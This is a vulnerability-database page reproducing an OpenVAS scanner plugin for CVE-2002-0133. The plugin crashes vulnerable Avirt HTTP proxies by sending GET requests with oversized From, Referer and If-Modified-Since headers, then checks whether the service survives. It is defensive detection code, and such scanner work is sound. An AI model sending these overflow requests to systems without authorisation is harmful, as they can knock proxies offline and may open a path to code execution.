Lucene search
+L

Header Overflow Attack against HTTP Proxy

🗓️ 03 Nov 2005 00:00:00Reported by Copyright (C) 2003 Michel ArboiType 
openvas
 openvas
🔗 plugins.openvas.org👁 69 Views

Header Overflow Attack against HTTP Proxy. Crash proxy by sending invalid request with long header. May lead to code execution

Related
Refs
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
Avirt Multiple Product HTTP Proxy Overflow (deprecated)
11 Jun 200300:00
nessus
cve
CVE
CVE-2002-0133
15 Mar 200205:00
cve
cvelist
Cvelist
CVE-2002-0133
15 Mar 200205:00
cvelist
euvd
EUVD
EUVD-2002-0133
7 Oct 202500:30
euvd
nvd
NVD
CVE-2002-0133
25 Mar 200205:00
nvd
openvas
OpenVAS
Header overflow against HTTP proxy
3 Nov 200500:00
openvas
# SPDX-FileCopyrightText: 2003 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11715");
  script_version("2023-07-21T05:05:22+0000");
  script_cve_id("CVE-2002-0133");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_name("Header Overflow Attack against HTTP Proxy");
  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_copyright("Copyright (C) 2003 Michel Arboi");
  script_family("Gain a shell remotely");
  script_dependencies("proxy_use.nasl", "smtp_settings.nasl", "os_detection.nasl");
  script_require_ports("Services/http_proxy", 8080);
  script_mandatory_keys("Proxy/usage", "Host/runs_windows");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/3904");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/3905");

  script_tag(name:"summary", value:"It was possible to crash the HTTP proxy by sending an invalid
  request with a too long header.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks if the remote
  service is still available afterwards.");

  script_tag(name:"impact", value:"An attacker may exploit this vulnerability to make the proxy
  server to crash continually or even execute arbitrary code on the system.");

  script_tag(name:"affected", value:"The following products are known to be affected:

  - Avirt SOHO v4.2

  - Avirt Gateway v4.2

  - Avirt Gateway Suite v4.2

  Other products / versions might be affected as well.");

  script_tag(name:"solution", value:"Update the software.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

# Cf. RFC 1945 & RFC 2068

include("http_func.inc");
include("smtp_func.inc");
include("port_service_func.inc");

port = service_get_port(default:8080, proto:"http_proxy");

if(http_is_dead(port:port))
  exit(0);

if(!soc = open_sock_tcp(port))
  exit(0);

domain = get_3rdparty_domain();

headers = make_list(
string("From: ", crap(2048), "@", crap(2048), ".org"),
string("If-Modified-Since: Sat, 29 Oct 1994 19:43:31 ", crap(data:"GMT", length:4096)),
string("Referer: http://", crap(4096), "/"),
# Many other HTTP/1.1 headers...
string("If-Unmodified-Since: Sat, 29 Oct 1994 19:43:31 ", crap(data:"GMT", length:2048)));

r1 = string("GET http://", domain, "/", rand(), " HTTP/1.0\r\n");
foreach h(headers) {
  r = string(r1, h, "\r\n\r\n");
  send(socket:soc, data:r);
  r = http_recv(socket:soc);
  close(soc);
  soc = open_sock_tcp(port);
  if(!soc) {
    security_message(port:port);
    exit(0);
  }
}

close(soc);

if(http_is_dead(port:port)) {
  security_message(port:port);
  exit(0);
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2023 00:00Current
6.7Medium risk
Vulners AI Score6.7
CVSS 27.5
EPSS0.04858
69